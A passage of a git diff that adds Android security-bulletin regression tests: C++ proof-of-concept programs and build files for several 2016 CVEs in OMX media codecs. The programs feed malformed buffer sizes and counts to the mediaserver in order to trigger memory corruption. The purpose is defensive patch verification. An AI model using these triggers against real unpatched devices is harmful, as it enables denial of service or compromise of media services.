+ OMX_PARAM_PORTDEFINITIONTYPE def;
+ InitOMXParams(&def);
+ def.nPortIndex = 0;
+ err = service->getParameter(node, OMX_IndexParamPortDefinition, &def,
+ sizeof(def));
+ if (err != OK) {
+ ALOGE("port 0: %u buffers of size %u: %d", def.nBufferCountActual,
+ def.nBufferSize, err);
+ return EXIT_FAILURE;
+ }
+
+ int inMemSize = def.nBufferCountActual * def.nBufferSize;
+ int inBufferCnt = def.nBufferCountActual;
+
+ def.nPortIndex = 1;
+ err = service->getParameter(node, OMX_IndexParamPortDefinition, &def,
+ sizeof(def));
+ if (err != OK) {
+ ALOGE("port 1: %u buffers of size %u", def.nBufferCountActual,
+ def.nBufferSize);
+ return EXIT_FAILURE;
+ }
+
+ int outMemSize = def.nBufferCountActual * def.nBufferSize;
+
+ outMemSize = 16;
+ int outBufferCnt = def.nBufferCountActual;
+
+ int inBufferSize = inMemSize / inBufferCnt;
+ int outBufferSize = outMemSize / outBufferCnt; // XXX
+ printf("in: %d, out: %d\n", inBufferSize, outBufferSize); // XXX
+
+ sp<MemoryDealer> dealerIn = new MemoryDealer(inMemSize);
+ sp<MemoryDealer> dealerOut = new MemoryDealer(outMemSize);
+
+ IOMX::buffer_id *inBufferId = new IOMX::buffer_id[inBufferCnt];
+ IOMX::buffer_id *outBufferId = new IOMX::buffer_id[outBufferCnt];
+
+ for (int i = 0; i < inBufferCnt; i++) {
+ sp<IMemory> memory = dealerIn->allocate(inBufferSize);
+ memset(memory->pointer(), 0, inBufferSize);
+
+ *(uint32_t *)(((char *)memory->pointer()) + 0x77 * 4) = 0xabbaabba;
+ *(uint32_t *)(((char *)memory->pointer()) + 0x78 * 4) = 0xdeadbeef;
+ err = service->useBuffer(node, 0, memory, &inBufferId[i],
+ inBufferSize /*allottedSize*/);
+ if (err != OK) {
+ ALOGE("useBuffer, port index 0, err: %d", err);
+ delete[] inBufferId;
+ delete[] outBufferId;
+ return EXIT_FAILURE;
+ }
+ }
+
+ for (int i = 0; i < outBufferCnt; i++) {
+ sp<IMemory> memory = dealerOut->allocate(outBufferSize);
+ err = service->useBuffer(node, 1, memory, &outBufferId[i], outBufferSize);
+ if (err != OK) {
+ ALOGE("useBuffer, port index 1, err: %d", err);
+ delete[] inBufferId;
+ delete[] outBufferId;
+ return EXIT_FAILURE;
+ }
+ }
+
+ if (!strcmp(codecName, "OMX.Nvidia.")) {
+ sleep(3);
+ }
+
+ // change state from loaded to idle
+ err = service->sendCommand(node, OMX_CommandStateSet, 2);
+ if (err != OK) {
+ ALOGE("sendCommand, err: %d", err);
+ delete[] inBufferId;
+ delete[] outBufferId;
+ return EXIT_FAILURE;
+ }
+
+ // change state from idle to executing
+ err = service->sendCommand(node, OMX_CommandStateSet, 3);
+ if (err != OK) {
+ ALOGE("sendCommand, err: %d", err);
+ delete[] inBufferId;
+ delete[] outBufferId;
+ return EXIT_FAILURE;
+ }
+
+ for (int i = 0; i < inBufferCnt; i++) {
+ err = service->emptyBuffer(node, inBufferId[i], 0, inBufferSize, 0, 0,
+ fenceFd);
+ if (err != OK) {
+ ALOGE("emptyBuffer, err: %d", err);
+ delete[] inBufferId;
+ delete[] outBufferId;
+ return EXIT_FAILURE;
+ }
+ }
+
+ for (int i = 0; i < outBufferCnt; i++) {
+ err = service->fillBuffer(node, outBufferId[i], fenceFd);
+ if (err != OK) {
+ ALOGE("fillBuffer, err: %d", err);
+ delete[] inBufferId;
+ delete[] outBufferId;
+ return EXIT_FAILURE;
+ }
+ }
+
+ err = service->freeNode(node);
+ if (err != OK) {
+ ALOGE("freeNode, err: %d", err);
+ delete[] inBufferId;
+ delete[] outBufferId;
+ return EXIT_FAILURE;
+ }
+
+ delete[] inBufferId;
+ delete[] outBufferId;
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-3933/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-3933/Android.mk
new file mode 100644
index 0000000..59c2b22
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-3933/Android.mk
@@ -0,0 +1,38 @@
+# Copyright (C) 2019 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2016-3933
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_C_INCLUDES := \
+ $(TOP)/frameworks/native/include/media/openmax
+
+LOCAL_SHARED_LIBRARIES := \
+ libbinder \
+ libutils \
+ libmedia \
+ liblog \
+
+LOCAL_COMPATIBILITY_SUITE := cts sts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS += -Wall -Werror
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-3933/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-3933/poc.cpp
new file mode 100644
index 0000000..1372a39
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-3933/poc.cpp
@@ -0,0 +1,239 @@
+/**
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions vand
+ * limitations under the License.
+ */
+
+#include <OMX_Component.h>
+#include <binder/IServiceManager.h>
+#include <binder/MemoryDealer.h>
+#include <fcntl.h>
+#include <media/IMediaPlayerService.h>
+#include <media/IOMX.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <unistd.h>
+
+using namespace android;
+
+// original poc was missing FuzzOption
+struct FuzzOption {
+ bool readFromFile;
+ char *inputFileName;
+ int sleep;
+};
+
+class DummyOMXObserver : public BnOMXObserver {
+ public:
+ DummyOMXObserver() {}
+ virtual void onMessages(const std::list<omx_message> &) {}
+
+ protected:
+ virtual ~DummyOMXObserver() {}
+};
+
+template <class T>
+static void InitOMXParams(T *params) {
+ memset(params, 0, sizeof(T));
+ params->nSize = sizeof(T);
+ params->nVersion.s.nVersionMajor = 1;
+ params->nVersion.s.nVersionMinor = 0;
+ params->nVersion.s.nRevision = 0;
+ params->nVersion.s.nStep = 0;
+}
+
+static bool connectOMX(sp<IOMX> &omx) {
+ sp<IServiceManager> sm = defaultServiceManager();
+ sp<IBinder> binder = sm->getService(String16("media.player"));
+ sp<IMediaPlayerService> mediaPlayerService =
+ interface_cast<IMediaPlayerService>(binder);
+
+ if (mediaPlayerService == NULL) {
+ ALOGE("NULL media player service");
+ return false;
+ }
+
+ omx = mediaPlayerService->getOMX();
+ if (omx == NULL) {
+ ALOGE("Failed getting OMX");
+ return false;
+ }
+ return true;
+}
+
+static bool fuzzIOMXCodec(const char *codecName, FuzzOption *fuzzOption) {
+ ALOGI("fuzzIOMXCodec: %s", codecName);
+
+ // connect to IOMX each time
+ sp<IOMX> service;
+ if (connectOMX(service) == false) {
+ return false;
+ }
+
+ IOMX::node_id node = 0;
+ int fenceFd = -1;
+
+ sp<DummyOMXObserver> observer = new DummyOMXObserver();
+
+ status_t err = service->allocateNode(codecName, observer, nullptr, &node);
+ if (err != OK) {
+ ALOGI("%s node allocation fails", codecName);
+ return false;
+ }
+
+ int inMemSize = 0;
+ int inBufferCnt = 0;
+ int outMemSize = 0;
+ int outBufferCnt = 0;
+
+ OMX_PARAM_PORTDEFINITIONTYPE def;
+ InitOMXParams(&def);
+
+ // input port
+ def.nPortIndex = 0;
+ err = service->getParameter(node, OMX_IndexParamPortDefinition, &def,
+ sizeof(def));
+ ALOGI("port 0: %u buffers of size %u", def.nBufferCountActual,
+ def.nBufferSize);
+ inMemSize = def.nBufferCountActual * def.nBufferSize / 2;
+ inBufferCnt = def.nBufferCountActual;
+
+ // output port
+ def.nPortIndex = 1;
+ err = service->getParameter(node, OMX_IndexParamPortDefinition, &def,
+ sizeof(def));
+ ALOGI("port 1: %u buffers of size %u", def.nBufferCountActual,
+ def.nBufferSize);
+ outMemSize = def.nBufferCountActual * def.nBufferSize;
+ outBufferCnt = def.nBufferCountActual;
+
+ int inBufferSize = inMemSize / inBufferCnt;
+ int outBufferSize = outMemSize / outBufferCnt;
+
+ sp<MemoryDealer> dealerIn = new MemoryDealer(inMemSize);
+ sp<MemoryDealer> dealerOut = new MemoryDealer(outMemSize);
+
+ IOMX::buffer_id *inBufferId = new IOMX::buffer_id[inBufferCnt];
+ IOMX::buffer_id *outBufferId = new IOMX::buffer_id[outBufferCnt];
+
+ int inputFileFd = -1;
+ if (fuzzOption->readFromFile) {
+ inputFileFd = open(fuzzOption->inputFileName, O_RDONLY);
+ if (inputFileFd < 0) {
+ ALOGI("cannot open file: %s", fuzzOption->inputFileName);
+ return false;
+ }
+ }
+ for (int i = 0; i < inBufferCnt; i++) {
+ sp<IMemory> memory = dealerIn->allocate(inBufferSize);
+ if (memory == NULL || memory->pointer() == NULL) {
+ ALOGE("cannot allocate input buffers: %d bytes from %d bytes",
+ inBufferSize, inMemSize);
+ return false;
+ }
+
+ memset(memory->pointer(), 0, inBufferSize);
+
+ err = service->useBuffer(node, 0, memory, &inBufferId[i],
+ inBufferSize /*allottedSize*/);
+ ALOGI("useBuffer, port index 0, err: %d", err);
+ }
+
+ for (int i = 0; i < outBufferCnt; i++) {
+ sp<IMemory> memory = dealerOut->allocate(outBufferSize);
+ if (memory == NULL || memory->pointer() == NULL) {
+ ALOGE("cannot allocate output buffers: %d bytes from %d", outBufferSize,
+ outMemSize);
+ return false;
+ }
+ memset(memory->pointer(), 0xCF, outBufferSize);
+ err = service->useBuffer(node, 1, memory, &outBufferId[i], outBufferSize);
+ ALOGI("useBuffer, port index 1, err: %d", err);
+ }
+
+ sleep(fuzzOption->sleep);
+
+ // change state from loaded to idle
+ err = service->sendCommand(node, OMX_CommandStateSet, 2);
+ ALOGI("sendCommand, err: %d", err);
+
+ // change state from idle to executing
+ err = service->sendCommand(node, OMX_CommandStateSet, 3);
+ ALOGI("sendCommand, err: %d", err);
+
+ sleep(fuzzOption->sleep);
+
+ for (int i = 0; i < inBufferCnt; i++) {
+ err = service->emptyBuffer(node, inBufferId[i], 0, inBufferSize, 0, 0,
+ fenceFd);
+ ALOGI("emptyBuffer, err: %d", err);
+ }
+
+ for (int i = 0; i < outBufferCnt; i++) {
+ err = service->fillBuffer(node, outBufferId[i], fenceFd);
+ ALOGI("fillBuffer, err: %d", err);
+ }
+
+ sleep(fuzzOption->sleep);
+
+ err = service->freeNode(node);
+ ALOGI("freeNode, err: %d", err);
+
+ return true;
+}
+
+int main() {
+ sp<IOMX> omx;
+ if (connectOMX(omx) == false) {
+ return EXIT_FAILURE;
+ }
+
+ List<IOMX::ComponentInfo> list;
+
+ status_t err = omx->listNodes(&list);
+ if (err != OK) {
+ ALOGE("cannot list codec nodes: %d", err);
+ return EXIT_FAILURE;
+ }
+
+ if (list.size() == 0) {
+ ALOGE("codec list is empty");
+ return EXIT_FAILURE;
+ }
+
+ FuzzOption fuzzOption = {};
+
+ for (List<IOMX::ComponentInfo>::iterator it = list.begin(); it != list.end();
+ ++it) {
+ const char * codecName = (*it).mName.string();
+
+ if (codecName == NULL) {
+ ALOGE("Empty codec name");
+ return EXIT_FAILURE;
+ }
+
+ const char * nvdiaCodecName = "OMX.Nvidia.h265.decode";
+ if (strcmp(codecName, nvdiaCodecName)) {
+ continue;
+ }
+
+ fuzzOption.sleep = 2;
+ if (!fuzzIOMXCodec(codecName, &fuzzOption)) {
+ ALOGE("Failed in codec");
+ return EXIT_FAILURE;
+ }
+ }
+
+ return EXIT_SUCCESS;
+}
\ No newline at end of file
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-6717/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6717/Android.mk
new file mode 100644
index 0000000..7024006
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6717/Android.mk
@@ -0,0 +1,41 @@
+# Copyright (C) 2019 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2016-6717
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_C_INCLUDES := \
+ $(TOP)/frameworks/native/include/media/openmax \
+
+LOCAL_SHARED_LIBRARIES := \
+ libmedia \
+ libbinder \
+ libutils \
+ libcutils \
+
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts sts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CPPFLAGS += -Wall -Werror
+
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-6717/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6717/poc.cpp
new file mode 100644
index 0000000..4948862
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6717/poc.cpp
@@ -0,0 +1,84 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+#include <OMX_Component.h>
+#include <binder/IServiceManager.h>
+#include <media/IMediaPlayerService.h>
+#include <media/IOMX.h>
+
+using namespace android;
+
+template <class T>
+static void InitOMXParams(T *params) {
+ params->nSize = sizeof(T);
+ params->nVersion.s.nVersionMajor = 1;
+ params->nVersion.s.nVersionMinor = 0;
+ params->nVersion.s.nRevision = 0;
+ params->nVersion.s.nStep = 0;
+}
+
+struct DummyOMXObserver : public BnOMXObserver {
+ public:
+ DummyOMXObserver() {}
+
+ virtual void onMessages(const std::list<omx_message> &) {}
+
+ protected:
+ virtual ~DummyOMXObserver() {}
+};
+
+int main() {
+ sp<IServiceManager> sm = defaultServiceManager();
+ sp<IBinder> binder = sm->getService(String16("media.player"));
+ sp<IMediaPlayerService> mps = interface_cast<IMediaPlayerService>(binder);
+
+ if (mps == NULL) {
+ ALOGI("get media player service failed");
+ return EXIT_FAILURE;
+ }
+
+ const char *codecName = "OMX.google.mpeg4.encoder";
+ // connect to IOMX each time
+ sp<IOMX> service = mps->getOMX();
+
+ IOMX::node_id node = 0;
+
+ sp<DummyOMXObserver> observer = new DummyOMXObserver();
+ status_t err = service->allocateNode(codecName, observer, NULL, &node);
+ if (err != OK) {
+ ALOGI("%s node allocation fails", codecName);
+ return EXIT_FAILURE;
+ }
+
+ // get buffer parameters
+ OMX_PARAM_PORTDEFINITIONTYPE def;
+ InitOMXParams(&def);
+ def.nPortIndex = 0;
+ def.nBufferCountActual = 0;
+ def.nBufferSize = INT_MAX;
+
+ err = service->getParameter(node, OMX_IndexParamPortDefinition, &def,
+ sizeof(def));
+ if (err != OK) {
+ ALOGE("port 0: %u buffers of size %u", def.nBufferCountActual,
+ def.nBufferSize);
+ return EXIT_FAILURE;
+ }
+
+ sleep(1);
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-6789/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6789/Android.mk
new file mode 100644
index 0000000..a895a04
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6789/Android.mk
@@ -0,0 +1,39 @@
+# Copyright (C) 2019 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2016-6789
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_C_INCLUDES := \
+ $(TOP)/frameworks/native/include/media/openmax
+
+LOCAL_SHARED_LIBRARIES := \
+ liblog \
+ libbinder \
+ libmedia \
+ libutils \
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts sts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CPPFLAGS += -Wall -Werror
+include $(BUILD_CTS_EXECUTABLE)
\ No newline at end of file
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-6789/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6789/poc.cpp
new file mode 100644
index 0000000..553330b
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6789/poc.cpp
@@ -0,0 +1,145 @@
+/**
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions vand
+ * limitations under the License.
+ */
+
+#include <OMX_Component.h>
+#include <binder/IServiceManager.h>
+#include <binder/MemoryDealer.h>
+#include <media/IMediaPlayerService.h>
+#include <media/IOMX.h>
+
+using namespace android;
+
+class DummyOMXObserver : public BnOMXObserver {
+ public:
+ DummyOMXObserver() {}
+ virtual void onMessages(const std::list<omx_message> &) {}
+
+ protected:
+ virtual ~DummyOMXObserver() {}
+};
+
+template <class T>
+static void InitOMXParams(T *params) {
+ memset(params, 0, sizeof(T));
+ params->nSize = sizeof(T);
+ params->nVersion.s.nVersionMajor = 1;
+ params->nVersion.s.nVersionMinor = 0;
+ params->nVersion.s.nRevision = 0;
+ params->nVersion.s.nStep = 0;
+}
+
+static bool connectOMX(sp<IOMX> &omx) {
+ sp<IServiceManager> sm = defaultServiceManager();
+
+ sp<IBinder> binder = sm->getService(String16("media.player"));
+ sp<IMediaPlayerService> mediaPlayerService =
+ interface_cast<IMediaPlayerService>(binder);
+
+ if (mediaPlayerService == NULL) {
+ return false;
+ }
+
+ omx = mediaPlayerService->getOMX();
+ if (omx == NULL) {
+ return false;
+ }
+
+ return true;
+}
+
+int main() {
+ const char *codecName = "OMX.Nvidia.aac.decoder";
+
+ // connect to IOMX each time
+ sp<IOMX> service;
+ if (connectOMX(service) == false) {
+ ALOGE("connectOMX failed");
+ return EXIT_FAILURE;
+ }
+
+ IOMX::node_id node = 0;
+
+ sp<DummyOMXObserver> observer = new DummyOMXObserver();
+
+ status_t err = service->allocateNode(codecName, observer, NULL, &node);
+ if (err != OK) {
+ ALOGE("%s node allocation fails", codecName);
+ return EXIT_FAILURE;
+ }
+
+ OMX_PARAM_PORTDEFINITIONTYPE dd;
+ InitOMXParams(&dd);
+ dd.nPortIndex = 0;
+ err = service->getParameter(node, OMX_IndexParamPortDefinition, &dd,
+ sizeof(dd));
+ if (err != OK) {
+ ALOGE("getParameter port 0: %d buffers of size %d", dd.nBufferCountActual,
+ dd.nBufferSize);
+ return EXIT_FAILURE;
+ }
+
+ dd.nBufferCountActual = 88;
+ err = service->setParameter(node, OMX_IndexParamPortDefinition, &dd,
+ sizeof(dd));
+ if (err != OK) {
+ ALOGE("setParameter, err: %d", err);
+ return EXIT_FAILURE;
+ }
+
+ OMX_PARAM_PORTDEFINITIONTYPE de;
+ InitOMXParams(&de);
+ de.nPortIndex = 0;
+ err = service->getParameter(node, OMX_IndexParamPortDefinition, &de,
+ sizeof(de));
+ if (err != OK) {
+ ALOGE("getParameter port 0: %d buffers of size %d", de.nBufferCountActual,
+ de.nBufferSize);
+ return EXIT_FAILURE;
+ }
+
+ IOMX::buffer_id *inBufferId = new IOMX::buffer_id[de.nBufferCountActual];
+ sp<MemoryDealer> dealerIn1 =
+ new MemoryDealer(de.nBufferCountActual * de.nBufferSize);
+ for (int i = 0; i < (int)de.nBufferCountActual; i++) {
+ sp<IMemory> memory = dealerIn1->allocate(de.nBufferSize);
+ memset(memory->pointer(), 0xcc, de.nBufferSize);
+ err = service->useBuffer(node, 0, memory, &inBufferId[i], de.nBufferSize);
+ if (err != OK) {
+ ALOGE("useBuffer, port index 0, err: %d id=%#x", err, inBufferId[i]);
+ delete[] inBufferId;
+ return EXIT_FAILURE;
+ }
+ }
+
+ err = service->sendCommand(node, OMX_CommandStateSet, 2); // crash here
+ if (err != OK) {
+ ALOGI("sendCommand, err: %d", err);
+ delete[] inBufferId;
+ return EXIT_FAILURE;
+ }
+ err = service->freeNode(node);
+ if (err != OK) {
+ ALOGI("freeNode, err: %d", err);
+ delete[] inBufferId;
+ return EXIT_FAILURE;
+ }
+
+ // wait to check death
+ sleep(1);
+
+ delete[] inBufferId;
+ return EXIT_SUCCESS;
+}
\ No newline at end of file
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8400/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8400/Android.mk
new file mode 100644
index 0000000..427cfd3
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8400/Android.mk
@@ -0,0 +1,38 @@
+# Copyright (C) 2019 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2016-8400
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_MULTILIB := 32
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+
+LOCAL_C_INCLUDES := \
+ $(TOP)/frameworks/native/include/media/openmax
+
+LOCAL_SHARED_LIBRARIES := \
+ liblog \
+ libbinder \
+ libmedia \
+ libutils \
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts sts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CPPFLAGS += -Wall -Werror
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8400/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8400/poc.cpp
new file mode 100644
index 0000000..95aac03
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8400/poc.cpp
@@ -0,0 +1,172 @@
+/**
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions vand
+ * limitations under the License.
+ */
+
+#include <OMX_Component.h>
+#include <binder/IServiceManager.h>
+#include <binder/MemoryDealer.h>
+#include <media/IMediaPlayerService.h>
+#include <media/IOMX.h>
+
+using namespace android;
+
+class DummyOMXObserver : public BnOMXObserver {
+ public:
+ DummyOMXObserver() {}
+ virtual void onMessages(const std::list<omx_message> &) {}
+
+ protected:
+ virtual ~DummyOMXObserver() {}
+};
+
+template <class T>
+static void InitOMXParams(T *params) {
+ memset(params, 0, sizeof(T));
+ params->nSize = sizeof(T);
+ params->nVersion.s.nVersionMajor = 1;
+ params->nVersion.s.nVersionMinor = 0;
+ params->nVersion.s.nRevision = 0;
+ params->nVersion.s.nStep = 0;
+}
+
+static bool connectOMX(sp<IOMX> &omx) {
+ sp<IServiceManager> sm = defaultServiceManager();
+
+ sp<IBinder> binder = sm->getService(String16("media.player"));
+ sp<IMediaPlayerService> mediaPlayerService =
+ interface_cast<IMediaPlayerService>(binder);
+
+ if (mediaPlayerService == NULL) {
+ return false;
+ }
+
+ omx = mediaPlayerService->getOMX();
+ if (omx == NULL) {
+ return false;
+ }
+
+ return true;
+}
+
+int main() {
+ const char *codecName = "OMX.Nvidia.render.crt.overlay.argb8888";
+
+ sp<IOMX> service;
+ if (connectOMX(service) == false) {
+ ALOGE("connectOMX failed");
+ return EXIT_FAILURE;
+ }
+
+ IOMX::node_id node = 0;
+ sp<DummyOMXObserver> observer = new DummyOMXObserver();
+
+ status_t err = service->allocateNode(codecName, observer, NULL, &node);
+ if (err != OK) {
+ ALOGE("%s node allocation fails", codecName);
+ return EXIT_FAILURE;
+ }
+
+ OMX_PARAM_PORTDEFINITIONTYPE def;
+ InitOMXParams(&def);
+ def.nPortIndex = 0;
+ err = service->getParameter(node, OMX_IndexParamPortDefinition, &def,
+ sizeof(def));
+ if (err != OK) {
+ ALOGE("port 0: %u buffers of size %u", def.nBufferCountActual,
+ def.nBufferSize);
+ return EXIT_FAILURE;
+ }
+
+ int inMemSize = def.nBufferCountActual * def.nBufferSize;
+ int inBufferCnt = def.nBufferCountActual;
+
+ def.nPortIndex = 1;
+ err = service->getParameter(node, OMX_IndexParamPortDefinition, &def,
+ sizeof(def));
+ if (err != OK) {
+ ALOGE("port 1: %u buffers of size %u", def.nBufferCountActual,
+ def.nBufferSize);
+ return EXIT_FAILURE;
+ }
+
+ int outMemSize = def.nBufferCountActual * def.nBufferSize;
+ int outBufferCnt = def.nBufferCountActual;
+
+ int inBufferSize = inMemSize / inBufferCnt;
+ int outBufferSize = outMemSize / outBufferCnt;
+
+ sp<MemoryDealer> dealerIn = new MemoryDealer(inMemSize);
+ sp<MemoryDealer> dealerOut = new MemoryDealer(outMemSize);
+
+ IOMX::buffer_id *inBufferId = new IOMX::buffer_id[inBufferCnt];
+ for (int i = 0; i < inBufferCnt; i++) {
+ sp<IMemory> memory = dealerIn->allocate(inBufferSize);
+ memset(memory->pointer(), 0xCF, inBufferSize);
+
+ err = service->useBuffer(node, 0, memory, &inBufferId[i],
+ inBufferSize /*allottedSize*/);
+ if (err != OK) {
+ ALOGE("useBuffer, port index 0, err: %d, num: %d", err, i);
+ delete[] inBufferId;
+ return EXIT_FAILURE;
+ }
+ }
+
+ IOMX::buffer_id *outBufferId = new IOMX::buffer_id[outBufferCnt];
+ for (int i = 0; i < outBufferCnt; i++) {
+ sp<IMemory> memory = dealerOut->allocate(outBufferSize);
+ err = service->useBuffer(node, 1, memory, &outBufferId[i], outBufferSize);
+ if (err != OK) {
+ ALOGE("useBuffer, port index 1, err: %d, num: %d", err, i);
+ delete[] inBufferId;
+ delete[] outBufferId;
+ return EXIT_FAILURE;
+ }
+ }
+
+ // change state from loaded to idle
+ err = service->sendCommand(node, OMX_CommandStateSet, 2);
+ if (err != OK) {
+ ALOGE("sendCommand, err: %d", err);
+ delete[] inBufferId;
+ delete[] outBufferId;
+ return EXIT_FAILURE;
+ }
+
+ // change state from idle to executing
+ err = service->sendCommand(node, OMX_CommandStateSet, 3);
+ if (err != OK) {
+ ALOGE("sendCommand, err: %d", err);
+ delete[] inBufferId;
+ delete[] outBufferId;
+ return EXIT_FAILURE;
+ }
+
+ int fenceFd = -1;
+ for (int i = 0; i < inBufferCnt; i++) {
+ err = service->emptyBuffer(node, inBufferId[i], 0, inBufferSize, 0, 0,
+ fenceFd);
+ if (err != OK) {
+ ALOGE("emptyBuffer, err: %d", err);
+ delete[] inBufferId;
+ delete[] outBufferId;
+ return EXIT_FAILURE;
+ }
+ }
+
+ delete[] inBufferId;
+ delete[] outBufferId;
